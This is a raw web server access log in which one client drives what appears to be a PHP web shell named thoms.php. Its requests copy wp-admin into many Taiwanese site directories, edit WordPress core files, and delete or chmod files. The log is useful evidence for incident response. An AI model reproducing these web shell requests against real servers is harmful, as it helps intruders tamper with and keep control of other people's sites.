45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20967 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17357 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17296 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17519 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13329 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22189 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17511 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17469 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17713 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:25 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17541 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22196 "https://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?edit=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=mah.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=thoms.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=upgrade&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=mah.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
